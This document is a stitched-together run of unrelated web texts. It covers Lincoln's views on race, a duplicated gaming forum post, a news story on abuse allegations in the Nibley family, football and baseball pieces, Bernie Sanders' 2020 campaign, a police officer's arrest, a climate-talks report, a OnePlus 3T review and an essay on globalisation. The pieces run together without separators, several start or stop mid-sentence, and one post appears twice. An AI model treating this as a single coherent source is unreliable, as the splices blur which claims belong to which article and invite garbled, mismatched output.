Lincoln's primary audience was white voters. Lincoln's views on slavery, race equality, and African American colonization are often intermixed.[85] During the 1858 debates with Stephen Douglas, Lincoln expressed his then view that he believed whites were superior to blacks.[85] Lincoln stated he was against miscegenation and allowing blacks to serve as jurors. While President, as the American Civil War progressed, Lincoln advocated or implemented anti-racist policies including the Emancipation Proclamation and limited suffrage for African Americans.[85] Former slave and leading abolitionist Frederick Douglass unequivocally regarded Lincoln as sharing "the prejudices of his white fellow-country-men against the Negro,"[86] but also observed of Lincoln that "in his company, I was never reminded of my humble origin, or of my unpopular color."[87] Douglass attested to Lincoln's genuine respect for him and other blacks and to the wisdom of his course of action in obtaining both the preservation of the Union (his sworn duty as President) and the freeing of the slaves. In an 1876 speech he defended Lincoln's actions thus:
His great mission was to accomplish two things: first, to save his country from dismemberment and ruin; and, second, to free his country from the great crime of slavery. To do one or the other, or both, he must have the earnest sympathy and the powerful cooperation of his loyal fellow-countrymen. Without this primary and essential condition to success his efforts must have been vain and utterly fruitless. Had he put the abolition of slavery before the salvation of the Union, he would have inevitably driven from him a powerful class of the American people and rendered resistance to rebellion impossible. Viewed from the genuine abolition ground, Mr. Lincoln seemed tardy, cold, dull, and indifferent; but measuring him by the sentiment of his country, a sentiment he was bound as a statesman to consult, he was swift, zealous, radical, and determined… Taking him for all in all, measuring the tremendous magnitude of the work before him, considering the necessary means to ends, and surveying the end from the beginning, infinite wisdom has seldom sent any man into the world better fitted for his mission than Abraham Lincoln. Frederick Douglass, Oration in Memory of Abraham Lincoln[86]
In his past, Lincoln lived in a middle-class, racially mixed neighborhood of Springfield, Illinois; one of his long-time neighbors, Jameson Jenkins (who may have been born a slave), had come from North Carolina and was publicly implicated in the 1850s as a Springfield conductor on the underground railroad, sheltering escaped slaves. In 1861, Lincoln called on Jenkins to give him a ride to the train depot, where Lincoln delivered his farewell address before leaving Springfield for the last time.[88]
See also [ edit ]
References [ edit ]
Further reading [ edit ]
and Equal Rights in the Civil War Era (1998)Quote
I definitely like where you are going with the concept of Revan becoming a 'creator'. He has destroyed via the Mandalorian Wars and his own war against the Republic. He has preserved via his rebellion against Malak and his hunt for the True Sith Emperor. Now he must fulfill his last godly duty. I have always viewed Revan to be the 'Jesus' of the Old Republic Era just like the Skywalkers are for the movie era. Someone who all narrative threads somehow lead to. Someone who is larger than life and the mere mention of can shake worlds.
I am in the camp that believes that Revan is trying to emulate the Emperor's power and fight a cosmic godlike battle with him. All of us caught in the center. The issue for Revan though is that he doesn't have the means to wage total war against the Emperor anymore with the loss of the Foundry. Now he is striking from the shadows and probably aiming to utilize the ancient Sith(via Yavin IV) as well as this secret third station which I will coin the Genesis.
Your post also highlighted another major point that I believe a lot of people have missed. The role of the Infinite Empire. It is possible that Revan might have more than just the Revanites. He may have found other Rakatan remnants. For him to fight the Empire and the Republic he needs enough support. The Revanites are probably many, but Revan is far too much of a tactician to rely on one trump card. He might have found this created galaxy and in it there may be Rakatan remnants ready to serve The Revan.
I need to think more on this. I really hope Bioware is going balls to the wall with the plot because everything seems to be pointing to something big storywise. Now this is why I browse the forums daily! I am always hoping for an interesting discussion to pop up. Not crap about the game dying, pvp hacking influenzas and how Bioware hates us all! Excellent post Wicked! Now onto the discussion!I definitely like where you are going with the concept of Revan becoming a 'creator'. He has destroyed via the Mandalorian Wars and his own war against the Republic. He has preserved via his rebellion against Malak and his hunt for the True Sith Emperor. Now he must fulfill his last godly duty. I have always viewed Revan to be the 'Jesus' of the Old Republic Era just like the Skywalkers are for the movie era. Someone who all narrative threads somehow lead to. Someone who is larger than life and the mere mention of can shake worlds.I am in the camp that believes that Revan is trying to emulate the Emperor's power and fight a cosmic godlike battle with him. All of us caught in the center. The issue for Revan though is that he doesn't have the means to wage total war against the Emperor anymore with the loss of the Foundry. Now he is striking from the shadows and probably aiming to utilize the ancient Sith(via Yavin IV) as well as this secret third station which I will coin the Genesis.Your post also highlighted another major point that I believe a lot of people have missed. The role of the Infinite Empire. It is possible that Revan might have more than just the Revanites. He may have found other Rakatan remnants. For him to fight the Empire and the Republic he needs enough support. The Revanites are probably many, but Revan is far too much of a tactician to rely on one trump card. He might have found this created galaxy and in it there may be Rakatan remnants ready to serve The Revan.I need to think more on this. I really hope Bioware is going balls to the wall with the plot because everything seems to be pointing to something big storywise.Tell-all books written by Joan Crawford or Ronald Reagan's daughters are expected to include sordid details of their public parents' private lives. But a sordid tell-all book by the daughter of Hugh Nibley Brigham Young University professor-emeritus, noted LDS scholar and cultural gadfly is a genuine shocker.
Yet Crown Publishers, a subsidiary of Random House in New York, has announced the March 8 publication of the explosive autobiography "Leaving the Saints: How I Lost the Mormons and Found My Faith," by Martha Beck, 40-year-old daughter of the greatly respected Nibley.
Beck is one of the eight adult children of Nibley and his wife, Phyllis, and they all grew up in an unpretentious, tiny, green-painted family home in Provo. Beck is a life coach with a doctorate in sociology from Harvard University who writes columns about everyday life problems for Oprah Winfrey's O Magazine.
Her book, made available to the media in advance editions, is, as the title suggests, an anti-LDS screed, with specific bold, angry accusations about her father, alleging he sexually abused her when she was a child, from age 5 to 8.
Beck declined to speak with the Deseret Morning News, but her siblings were eager to talk about their sister's book.
"None of the family agrees with her story," said Boyd Peterson, who is married to Beck's sister Zina (and who authored a Hugh Nibley biography). "And the Nibley family is itself pretty diverse. Probably 50 percent of the brothers and sisters are no longer members of the LDS Church, or they are members in name only. All of them have issues with their father. The boys are angry about his being a big Mormon celebrity who was too often absent from the family."
Peterson considers it "a nasty book" that has Beck unfairly attacking her parents and her church. He considers the material concerning Mormonism to be "bizarre she thinks the Danites are going to come and kill her."
All of Beck's siblings nonetheless maintain a united front, each expressing disbelief that their father ever sexually abused their sister. Christina, the oldest daughter, called Beck's book "a work of fiction" and said she is "outraged" that her sister would write it. "I'm extremely disappointed."
A brother, Alex, is preparing a documentary film memoir of his father's World War II experiences, to be called "Sgt. Hugh Nibley, Ph.D." He is convinced that Martha's assertions in the book that the sexual abuse may have been triggered by her father's post-traumatic-stress syndrome is "absurd." Alex has interviewed his father for more than 20 hours on videotape and walked through various war sites with him, and said "he never had flashbacks, physical sensations, hypersensitivity or any other symptom of post-traumatic stress syndrome."
Oddly, the book's 19th century-style and acid-tongue characterizations of the LDS Church resemble something more commonly seen in anti-LDS works written by 19th-century Mormon haters. And though the attacks on her father are pointed, she never names him or anyone else in her family. She simply refers to them as "father," "mother," "sister" and "brother."
Beck also leaves her maiden name off the book's cover, though earlier books she has had published refer to her as "Martha Nibley Beck."
Despite these strange elements, "Leaving the Saints" is ingeniously crafted, if written in too lighthearted a manner. The book begins with the author, Beck, allegedly meeting with her father in a hotel, where they can be isolated long enough for her to confront him with her claims of abuse. Hoping for an apology, she speaks of the alleged abuse in veiled terms and asks him why he dressed up in Egyptian clothing and re-enacted the biblical Abraham sacrificing his son, Isaac. In the book, the then 91-year-old Nibley replies that such accusations are "ridiculous."
Then chapters alternately continue this hotel-room confrontation, while other chapters have Beck recalling her youth, family life and church experience. Gradually, the stories of abuse are revealed, which Beck says she had forgotten until many years later, when they were restored by "recovered memory."
Beck is a 40-ish divorced mother of three, though in the book it appears she is still married.
Filled with cliches, "Leaving the Saints" is, much of the way, a light, sometimes satirical story of young people making the best of being trapped in a strange family controlled by a rigid, fire-and-brimstone, powerful church.
The venerable, now bedridden Hugh Nibley turns 95 on March 27. His mind, according to family members, is not as sharp as it once was, but he is lucid most of the time.
Paul, the oldest son, considers the book "vicious" but he was in the Coast Guard during Martha's adolescence, so he saw her very little during those years. He is upset that Martha made a false reference to him, claiming he was restricted to "only three outfits a year from Deseret Industries." Paul said, "My mother never bought clothes at the DI my dad did. But my clothes came from Penney's, and I never felt deprived."
Tom, a brother, said he spent most of Martha's teen years in California, but he considers the book to be "totally false. She needed a scapegoat for her own problems." Michael, who is nine years older than Martha, said the book has "many factual inaccuracies" besides the allegations of abuse. "She sees us as a group of half-grown Vikings."
Alex called the book "utterly false. She claims the family always made decisions in lockstep with the church, but Hugh Nibley was one of the major liberal voices in the church. To portray him as a part of 'groupthink' is ridiculous."
Zina, a sister two years younger than Martha, said the two girls spent their adolescence together, sleeping in the same room in "incredibly rickety bunk beds, her on top. They could barely support the weight of two wispy little girls." The tiny house with thin walls, she said, had bedrooms in which the doors were never closed, with essentially no privacy.
"I was very close to her," said Zina. "I was her sidekick. I saw nothing at all to indicate any abuse taking place. None of us idealized our father. None of us think he was a great father. He was funny and sweet, but he was not emotionally approachable, not a good father for teenagers, but he was not guilty of abuse."
The only hint of division within the united family front is Rebecca, who is four years older than Martha. She said the sexual abuse allegations "are not true" and attributes them to Martha's "emotional sensitivities but (Martha) is brilliant and funny. Martha and I are very close. I'm the only one in the family she sees regularly, so I have a more current view than the other siblings. I am emotionally closer to her than to my other siblings. I want to be close to her, so I call her a lot. There is no one in the world as enjoyable to be with and as loving as Martha.
"But My dad has always been my biggest fan. I was nurtured more by him than I was on the maternal side. Both Dad and Martha are high-quality people. My dad is as righteous a man as I can ever imagine. I wish I could be on both their sides!"
E-mail: [email protected]Cristiano Ronaldo: Amazed at not being awarded a penalty
Real Madrid have appealed the yellow card shown to Cristiano Ronaldo for diving during Wednesday's 2-0 win over Rayo Vallecano.
The Portuguese striker received his fifth booking of the campaign from referee Mario Melero Lopez, which would see him miss Saturday's visit of Eibar to the Santiago Bernabeu, despite appearing to be brought down by Antonio Amaya while the score was still goalless.
"Real Madrid will appeal the yellow card shown to Cristiano Ronaldo in the game against Rayo yesterday in Vallecas," the club said in a statement on Thursday.
Cristiano Ronaldo was booked for diving during Real Madrid's game at Rayo Vallecano Cristiano Ronaldo was booked for diving during Real Madrid's game at Rayo Vallecano
Real boss Carlo Ancelotti remonstrated with the officials after the match and described the decision not to award a spot-kick as "incredible".
Ronaldo went on to score his 300th goal for Madrid in just 288 games for the club heading home Daniel Carvajal's cross for the opener and James Rodriguez stroked home his side's second five minutes later to secure the win.
The European champions remain four points adrift of Barcelona at the top of La Liga after Lionel Messi turned on the style to help the Catalans seal a 4-0 win over Almeria at the Nou Camp.Bernie Sanders has announced that he will seek the Democratic Party’s nomination for president once again in 2020.
The Vermont senator wrote in an email to supporters that he was building “an unprecedented and historic grassroots campaign” that would draw on people across the country.
“Our campaign is not only about defeating Donald Trump, the most dangerous president in modern American history. It is not only about winning the Democratic nomination and the general election,” he wrote. “Our campaign is about transforming our country and creating a government based on the principles of economic, social, racial and environmental justice.”
Sanders, an independent, “cited health care, climate change, student debt, the demonisation of undocumented immigrants, income inequality, gun violence and the myriad problems of America’s needy as propelling him into his second presidential contest”, reports The Washington Post.
As part of the announcement, Sanders is calling on one million supporters to sign up to his campaign and demonstrate the impact of grassroots backing - “a key component of his 2016 presidential campaign that he intends to build upon this cycle”, says Vox.
Asked how this campaign would be different to 2016, he told CBS: “We’re gonna win. We are gonna also launch what I think is unprecedented in modern American history and that is a grassroots movement to lay the groundwork for transforming the economic and political life of this country. That’s what’s different.”
Video of Bernie Sanders announces 2020 run: "We're going to win"
Sanders, who has held dozens of political rallies across the country since the 2016 election, “enters the race with the biggest social media following - and biggest mailing list - of any candidate for the Democratic nomination”, adds the Post.
‘He’s got company’
NBC says the question for Sanders now is: “can he compete in a much more crowded liberal/progressive lane than he encountered in 2016?”
Four years ago, “he opened this lane and showed the party that voters will come”, the broadcaster adds. But now “he’s got company - from progressive Elizabeth Warren, to the likes of Kamala Harris, Cory Booker and Kirsten Gillibrand, who are all running under the ‘Medicare for All’ banner”.
Indeed, “the rallying cries that distinguished Sanders from Hillary Clinton in 2016 - Medicare-for-all, a $15 minimum wage, campaign finance reform - are no longer unique positions”, adds Vox.
He has other problems as well, “including the enmity he earned among Clinton supporters in 2016”, says The Hill.
A gift for Republicans?
There is also the added issue that “most Republicans would see a Sanders candidacy as a gift, letting them paint the entire Democratic Party in socialism”, says The Atlantic. The idea that he might emerge as the candidate against Trump “is too much of a dream for them to even admit and many Democrats agree”, the magazine adds.
But those around him believe the critics haven’t woken up to the new political ecosystem, or to the power demonstrated in the 2018 midterms by independents and millennials.
“He’s uniquely positioned to do better against Trump in the general because he appeals to white working-class and rural voters - much better than a conventional Democrat does,” said Ben Tulchin, Sanders’ 2016 pollster. “He also is very popular and has done well in the Midwest, such as Michigan and Wisconsin, which are critical to winning.”
Bernie vs. Biden
One thing counting in his favour is the fact that Sanders “comes to the race with the high name recognition that many candidates in the crowded [Democrat] field lack”, says FiveThirtyEight.
A Gallup survey also found that 2016 was the first year in which Democrats felt more positively about socialism than they did about capitalism. This may mean Sanders’s message “might well have seeped in”, adds the polling website.
In fact, there is only one person currently polling better among Democrats than Sanders - and that’s Joe Biden.
“Bernie still has the biggest platform out of anyone in this race right now - outside of potentially Joe Biden,” Joshua Ulibarri, a partner with the Democratic polling firm Lake Research Partners, told Vox.
Biden is yet to declare his candidacy however, leaving Sanders in pole-position for the time being.Over 450 innings into his major-league career, Kyle Hendricks possesses both an ERA under 3.00 and a third-place finish in Cy Young voting. That’s impressive. Even after accounting for the regression he’s likely to experience in the future, he’s nevertheless proven himself to be an apt pitcher at the major-league level, something that we didn’t see coming as he ascended the ranks as a prospect. He’s done enough to wonder why we missed on him, and what he can teach us about other young pitchers out there.
First, let’s establish the simple fact that we missed on Hendricks. He was never ranked among Baseball America’s top 100, and he never rose above the Cubs’ 11th-best prospect in that publication. He was never considered an organizational top-10 prospect by Baseball Prospectus, who left him off their Cubs writeup completely going into the 2014 season. Some of this may have come from the shape and timing of his minor-league production: Hendricks took a leap forward in 2013, and then pitched enough in 2014 to lose his prospect eligibility. At FanGraphs, Marc Hulet ranked him as the Cubs’ 10th-best prospect after 2013. Kiley McDaniel had to treat him as a major-league growth asset the next year.
But the other part of our failure to anticipate Hendricks’ excellence comes from the nature of his skill set. Most writeups that regarded him as a prospect made reference to his mediocre stuff but strong command. That’s a tough sort of player to project.
In defense of our evaluation abilities, there are a few easy reasons that command-first prospects don’t always get a ton of love. For one, every bit of velocity is positively correlated with good outcomes, so teams do want velocity. Between two guys with equal command, you want the one throwing 95.
Command isn’t always equal, though, so why can’t we treat this as a new market inefficiency to exploit? For a number of reasons. One, it’s very difficult to put a number on command, especially since control is a confounding factor. Some players can throw generally into the zone — control — and avoid walks, giving the appearance of command. Other players can avoid the heart of the zone while also demonstrating the ability to put the ball where they want to put it — even if “where they want to put it” is outside the zone.
And, lastly, even if the tools available to us for “measuring” command may be improving, we’re talking about minor leaguers here. Minor leaguers throwing to minor-league umpires, more specifically. While we have the radar gun to help guide our appraisal of stuff, we can’t really use a directly measurable number to help guide our appraisal of command.
So we missed on Hendricks. And while we can maybe absolve ourselves of past transgressions because of the nature of measuring and seeing command, let’s try to find our next Hendricks by defining the last. Hendricks, coming out of a short stint in 2014, was a right-hander under the age of 25 who possessed some major-league experience, below-average fastball velocity, and worse-than-average strikeout and ground-ball numbers. Applying that set of criteria to 2016 produces a collection of 26 pitchers. Let’s now add in Baseball Prospectus’ new command numbers as the last category in order to filter out the guys with poor command.
Our first sweep gives us eight pitchers who could serve as comps.
The highlighted player gives up the ghost, but let’s talk through the rest of the major competitors really quickly. We’ll return to the top.
Braden Shipley seems compelling, given both his pedigree and his placement on this list, but it’s worth noting that command was never listed as one of his best features on prospect reports, and he never had the tiny walk rates that you traditionally see with plus-command guys.
Brady Rodgers did have those walk rates in the minors, and threw five pitches more than 5% of the time last year, so maybe the Astros have something in their low-velocity righty. And Dan Farnsworth had this to say of the righty last year, so he’s a decent find in this query:
“He has very good command, which one Astros source emphasized was even better than his walks indicated — an impressive statement given his minuscule 25 walks in 115.2 Triple-A innings last season. Rodgers is the kind of pitcher who doesn’t excite anybody as a minor leaguer, but could also end up well outperforming his tools with pitchability.”
Cody Ege, traded from the Rangers to the Marlins in the Sam Dyson trade, was tagged for some of the lowest future value of that trade deadline, according to McDaniel. He was designated by the Marlins in August, and the Angels claimed him, designated him, and signed him to a minor-league contract. Information is light on him, but while there’s some agreement that he might be an asset against lefties and has some deception, there’s little agreement about his command. Similarly, Alec Asher and Patrick Schuster probably need to work on command, so they’re not great picks for Next Hendricks.
Okay, back to the top! Davies is a really nice pick for the next Hendricks. Not only does he fit the criteria that provided by the 2014 version of Hendricks, but that command number was first in baseball last year, and Hendricks (+2.53%) was fourth. Hendricks had a 16.9-point differential between his strikeout and walk rates (K-BB%) and a 48% ground-ball rate. Davies was at 14.2% and 46%, respectively. It’s a good fit.
The arsenal fits, too. When I mentioned this piece to Eric Longenhagen, he said of Davies that “he’s got the changeup.” You might rank Davies’ pitches in this order: changeup, sinker, cutter, curve. You’d rank Hendricks’ pitches the same way, though you might move the curve ahead of the cutter.
So if these guys are both changeup-first elite-command guys, what’s up with the two runs of ERA difference last season? The outcomes on their respective balls in play is the logical place to start, since Hendricks recorded a.250 BABIP and a 9.3% HR/FB, while Davies produced marks of.302 and 12.4% respectively. Regress them towards each other and you’re done, right?
Not quite. Rob Arthur did some work to show how Hendricks achieved his elite exit-velocity allowed last year. It’s instructive here, if only as a road map for Davies. He found that “getting ahead in the count, low pitch velocity, low vertical pitch location, and precise horizontal pitch location” all contributed to low exit velocities.
Davies got ahead in the count okay (35%) but not as good as Hendricks (39%), according to Statcorner. We know they have similar velocity, and similar command, but if you split command up the way Arthur did, some subtle differences show up. Davies was actually in the bottom of the zone more often than Hendricks — ninth best (17.7%) to 77th best (14.2%) among the 121 qualified pitchers last year.
But Hendricks’ brilliance shows up in his two-seamer usage, particularly against lefties. This is what Arthur might label “precise horizontal location,” and it’s particularly interesting because the Pirates once found that the pitch inside led to better outcomes on the following pitch on the outside part of the plate.
While Hendricks peppers lefties in and out with the sinker, it doesn’t appear as though Davies has the same skill. With the sinker, he prefers the outside corner. Even when you throw Davies’ four-seamer back into the mix — in case he used that, or the cutter, to hit the inside part of the plate to lefties — you don’t see the same kind of heat map from the Milwaukee pitcher.
Pitching inside more will help Davies improve his results on balls in play, maybe. The good news is that expanding use of his cutter — which he does actually throw inside to lefties, but not anywhere near as often as he throws his sinker — may be a way forward. The bad news is that, while Hendricks had the best defense in baseball behind him last year, and possibly one of the best defenses of all time, Davies enjoyed the second-worst defense in baseball last year. Maybe, as that Brewers team improves behind him, though, we’ll find that Zach Davies is indeed the next Kyle Hendricks.Hear Ryan Adams and Bob Mould Play Music And Talk About Everything Under The Sun
Enlarge this image toggle caption Debi Del Grande/Courtesy of the artist Debi Del Grande/Courtesy of the artist
There's new music from Bob Mould. His latest album, Patch The Sky, comes out March 25. One of this legendary musician's biggest fans — from his punk days of Hüsker Dü to the land of Sugar and his prolific and exciting solo records — is musician Ryan Adams. And as a fan and friend, Ryan invited Bob to his PAX-AM Studio and pressed record.
Enlarge this image toggle caption Debi Del Grande/Courtesy of the artist Debi Del Grande/Courtesy of the artist
So for the next hour you'll hear Bob and Ryan play music and hear a sprawling, geeky and fun conversation. Sometimes it's about Bob's record, other times it's about Metallica bootlegs, caveman sounding lyrics, favorite cereals, fasted band, how the revival of vinyl helps make better, more focused records, praying, the quietness of church, zombies, Einstürzende Neubauten, noise rock and recording/mixing/soundboards.
You'll also hear them break into song. Over the course of the hour-long conversation, they play three versions of two songs from Bob Mould's new album recorded right there in Ryan Adams' PAX-AM studio — they do "Hold On" and "The End of Things" together and then Bob plays "The End of Things" by himself. These aren't the recordings from Patch The Sky; it's just two friends, making music, having fun.An awarded Presidio of Monterey police officer was arrested on suspicion of sodomizing a child younger than 10 years and a slew of other alleged sexual acts, some forced, with a child nearly two decades ago, according to the Santa Cruz County District Attorney’s Office and other official sources.
Assistant District Attorney Steve Moore said Barney Joseph Ramnauth, 48, is a police officer at the Army installation. Ramnauth won Monterey County Peace Officers Association Officer of the Year award in 2014 for his work as a corporal at the Presidio Police Department, according to the March 2015 edition of Lawman, a publication by the Officers Association.
Ramnauth was arrested on suspicion of sexual acts with a child 10 years old or younger; forced acts with a child younger than 14; and aggravated assault-child sexual acts, according to Superior Court records.
All acts are linked to one date: Aug. 20, 1998.
A Superior Court judge issued a warrant in the case Dec. 1. The date of Ramnauth’s arrest is not available in court documents or an online inmate locator.
He will face seven felony charges, which merit up to life imprisonment, according to the California Penal Code.
Sgt. Chris Clark, spokesman of Santa Cruz County Sheriff’s Office, said the agency is investigating.LIMA (Reuters) - U.S. Secretary of State John Kerry on Thursday urged countries at U.N. climate talks in Lima to move away from using fossil fuels while demonstrators gathered outside the meeting urged him to reject the Keystone oil pipeline.
U.S. Secretary of State John Kerry delivers a speech at the U.N. Climate Change Conference COP 20 in Lima December 11, 2014. REUTERS/Enrique Castro-Mendivil
“Coal and oil may be cheap ways to power an economy today... but I urge nations around the world: Look further down the road,” he said.
As Kerry delivered a 30-minute speech trying to inject momentum into difficult UN climate negotiations, environmentalists stood outside holding signs calling on him to urge President Barack Obama to reject the Canada-to-U.S. oil pipeline, which would carry heavy Canadian crude to Texas.
Kerry must make the final recommendation to Obama about whether the $8 billion pipeline that has been delayed more than five years is in the national interest and whether he should approve it.
Neither Obama nor Kerry have said publicly whether they favor approving the pipeline but said they will wait for the Nebraska court ruling.
Environmental activists in Lima said if Kerry approves the project, he would be going against the spirit of his speech.
“Secretary Kerry sure sounded like someone who was gearing up for rejection,” said Jamie Henn of green group 350.org. “(He) has left himself no logical option except to recommend President Obama say no to Keystone XL.”
The chief negotiator at UN climate talks for the Pacific island nation Nauru said approving Keystone would erode the positive steps the United States has made to show climate leadership.
“Now is not the time to call the superpower’s commitment to tackling this crisis into question by letting this dirty, myopic, and irresponsible project go forward,” said Nauru Ambassador Marlene Moses.
Canada is under strong economic pressure to send its vast reserves of |
alternate between carrying the device naked and running a “karbon” case, and while I found the design of the phone a tad boring and safe (and still do) I have come to appreciate its solid build, slim profile and thin bezels. It’s a sleek device, for sure, but what I am mostly interested in is the hardware inside. As frequent readers likely know by now, I am sort of a performance fiend when it comes to my phones. That’s why I go to great lengths to measure how my devices actually perform, and to figure out what makes them tick — lately, I’ve been going even deeper thanks to the help of many XDA members like sultanxda and Mostafa Wael (shoutout!). The hardware of the OnePlus 3T is strong enough to carry me into 2017 without compromises, in a sort of unexpected twist given the way in which OnePlus used to advertise their phones as flagship killers (yet rotundly failed with the OnePlus 2). The extra RAM, well-implemented Snapdragon 821 and UFS 2.0 storage are certainly components I appreciate and enable me to enjoy a phone with such smooth performance, almost invariably across every ROM and kernel combination I’ve tried.
Battery life has yet to fail me — I still routinely get 5 hours of usage out of my OnePlus 3T, and I can still hit six and slightly more if I manage to stick on Wi-Fi for a majority of the day. I am quite a power user, so I certainly appreciate the battery capacity increase that the revised OnePlus 3T brought to the table, but I also never had any issues with the battery life of the OnePlus 3 proper. Dash Charging remains one of the best features of the device and is still the overall fastest and most useful charging standard around. We have an objective and data driven charging protocol comparison in the works that better explains its relative standing, but I’ve also done thorough testing of some of its better properties including how it allows for unthrottled charging regardless of what you are doing on your phone — including heavy 3D games. I don’t fly too often (certainly not as often as I could due to classes), but when I do I find Dash Charging extremely satisfying because of this fact.
Finally, while the OnePlus 3T’s Marshmallow stock ROM was in many ways a total reversal of what made OxygenOS so great in the first place, the Nougat update managed to further clean up the interface and provide a better user experience. There are few stock ROMs I would gladly pick over CyanogenMod/LineageOS and AOSP ROMs in general, and OxygenOS certainly meets that refined criteria. In fact, I would like the ROM to adopt its beta features faster, as some of the things OnePlus has been introducing every couple of weeks (barring holidays) has been either tactful, useful, or completely unobtrusive — the way things should be.
Overall, I can’t say I am yet tired of the OnePlus 3T, and I can’t see myself putting the device down until a 2017 release offers the same degree of flexibility and a smoother UX. I’ve enjoyed a few months without any big releases to test either, so I am personally really excited to contrast this device with the new round of uber flagships coming our way at MWC and beyond. There are smartphones that are currently better in many ways — including various hardware components that OnePlus hasn’t been able to futureproof as much as the processing package. An example I got to thoroughly examine recently is the Meizu Pro 6 Plus (yes, the cheating one), which looks quite a bit like the OnePlus 3T externally, yet ultimately accomplishes a much better design (in terms of overall grip, handling and bezels) with a better camera and a much richer screen, for a similar price. However, the combination of great hardware, relative affordability and excellent development community is what makes the phone for me, and why I choose to put it in my pocket every day. In my OnePlus 3 review, now over six months ago, I called the phone “a perfect canvas for spec-hungry tinkerers” and I think that was more of a prediction than an assessment back then — time eventually proved that evaluation to be correct, and the phone stood strong and built a healthy developer community as well, solidifying its niche among enthusiasts.
I have a lot to criticize OnePlus for, and that likely won’t end soon — but as much as I might disagree with the company’s decisions in recent times, I do appreciate their willingness to iterate and implement feedback. Ultimately, though, the OnePlus 3T is a badass phone regardless of who builds it, and I am not one to let my opinion on a manufacturer change my opinion of their product. I hope the OnePlus 4 (T?) is even better in every way, as it looks to have some fierce competition ahead of it. Regardless of whether OnePlus pulls a 2 on us and screws up their flagship, though, I have a strong feeling the OnePlus 3 will live on at XDA for quite a while, dare I say even beyond the legacy of the OnePlus One.Chelsea striker Radamel Falcao looks set to stay at Stamford Bridge for the rest of the season after Monaco ruled out taking him back early.
Chelsea striker Radamel Falcao looks set to stay at Stamford Bridge for the rest of the season after Monaco ruled out taking him back early.
The Colombian is on loan from the French Ligue 1 club, but has struggled to make a notable contribution since Jose Mourinho brought him in during the summer.
Falcao has not featured at all since the end of October due to a thigh injury, on which he underwent checks at Monaco's training ground earlier this week.
Now Monaco believe he faces an extended spell out of action, meaning recalling him to the Stade Louis II would not be an appealing option.
Monaco vice-president Vadim Vasilyev said in an interview on the club's DailyMotion page: "Falcao is currently injured. He has six to eight weeks to go like that. We have decided not to take him back to Monaco for the moment."
Halfway through a season-long loan with Chelsea, the former Atletico Madrid striker has scored just one goal. He was similarly goal-shy while at Manchester United last season.
With Diego Costa and Loic Remy ahead of him in the pecking order, even a fit Falcao would appear unlikely to get much playing time with Chelsea for the rest of the season.
Press Association Sport understands Falcao recently rejected approaches from Mexican and Turkish clubs.
His contract with Monaco expires in 2018. Monaco signed the striker from Atletico in 2013 for £52million, but he spent just one season in Ligue 1, suffering a major knee injury midway through, before embarking on a disappointing loan spell at Old Trafford.
Press AssociationGeeksphone was one of the first companies to offer phones with Mozilla’s Boot2Gecko software (the open source version of Firefox OS). Now the company is preparing to launch a new phone which can run Boot2Gecko… or other operating systems.
The Geeksphone Revolution is a 4.7 inch phone with mid-range specs. But what makes it really stand out is the software: It will be available with a choice of Android, Boot2Gecko by Mozilla, or other community-supported builds of B2G.
Contrary to earlier reports, the Geeksphone Revolution won’t be a dual-boot device. You’ll have to choose which operating system you want when you place an order. But Geeksphone will support both Android and B2G versions and offer 1-click OTA updates for either operating system.
Geeksphone does say you can start with Android and “seamlessly switch” to any other OS. That suggests the phone will ship with an unlocked bootloader. But if you want to install B2G, Ubuntu, or another operating system, you’ll probably have to delete Android first.
The Revolution features a 4.7 inch, 960 x 540 pixel display, an Intel Atom Z2560 processor, 8MP camera, and 2000mAh battery. It has 1GB of RAM, 4GB of storage, and a microSD card slot.
via Mobile GeeksReshaping globalisation is Europe’s responsibility and chance, write Karl Aiginger and Heinz Handler. Policy should ensure that there are no more winners and losers from globalisation, they argue.
Karl Aiginger is the director of the European Policy Crossover Centre-Vienna Europe and professor of economics at Vienna’s University of Economics and Business. Heinz Handler is WIFO Emeritus and deputy director of the European Policy Crossover Centre-Vienna Europe. Previously he served as director general in the Austrian Ministry of Economics.
Political opposition to globalisation has risen in industrialised countries, although the overall positive effects on economic growth and alleviating poverty are empirically verifiable. This critique is understandable as the effects of globalisation vary according to regions, professional groups, and education. When globalisation occurs concurrently with technological breakthroughs and weak demand, and when economic policy fails to implement the necessary stabilising measures, globalisation will entail unemployment and rising inequality. This is the rationale for nationalist and populist reactions which in turn affect election results, strengthening illiberal tendencies and the call for protectionism. Populist calls for renationalisation and new fences would severely hamper successful solutions to the most pressing societal problems, such as climate change, water shortages or security issues, which can only be solved by international coordination, if not global cooperation. In this situation Europe should not only remain open to globalisation, but even try to grasp the opportunity to shape globalisation according to intrinsic European values, including liberal democracy, social balance and environmental sustainability. The partial withdrawal of the United States from these goals opens up the potential for Europe as a leader in shaping future globalisation.
Turnaround in the political discussion
In the third phase of globalisation starting in the early 1990s, the critique of globalisation has shifted from damning the exploitation of developing countries to stressing the disadvantages for industrialised countries. Increasing inequality and high unemployment can be identified as the two central causes for sceptical assessments of globalisation and the call for protectionism and re-nationalisation. Today the income and wealth distribution within most countries is more unequal than in 1990, specifically the share of the top 1% has increased. Most analyses emphasise that the effect of technology is stronger than that of globalisation, but the problems may actually reinforce each other. Unemployment is regionally and sectorally concentrated, mostly in former manufacturing areas and in medium skilled occupations. For low-skilled people, an oversupply prevails despite stagnating or even declining real wages, while skilled workers are in short supply, especially in technical professions. Above all, policy failures have amplified the problem fields. First, globalisation losers have not been compensated or re-qualified early enough. Second, the financial crisis has resulted in a lasting distrust in the financial sector and a persistent savings glut. Third, national policy makers tend to ascribe successes to their own merits, while failures are attributed to external forces. The recent phenomenon of migration could entail positive effects in the target country, if it matches the demand for labour, as well as in the country of origin, if it limits the brain drain by circular migration. However, if the negative effects of massive migration (resulting in particular from war and famine) dominate and unemployment is already high, they are often exploited by populist movements in a distortive way. Economic fears may then be aggravated by fears of loss of cultural identity.
A strategy of responsible globalisation under a European lead
Reshaping globalisation is the only chance to continue the welfare-increasing process and at the same time prevent radical populist opposition. We approach this tricky task with a strategy based on basic principles and instruments reflecting nation-specific search processes which are necessary to change the game. Our strategy is based on seven principles:
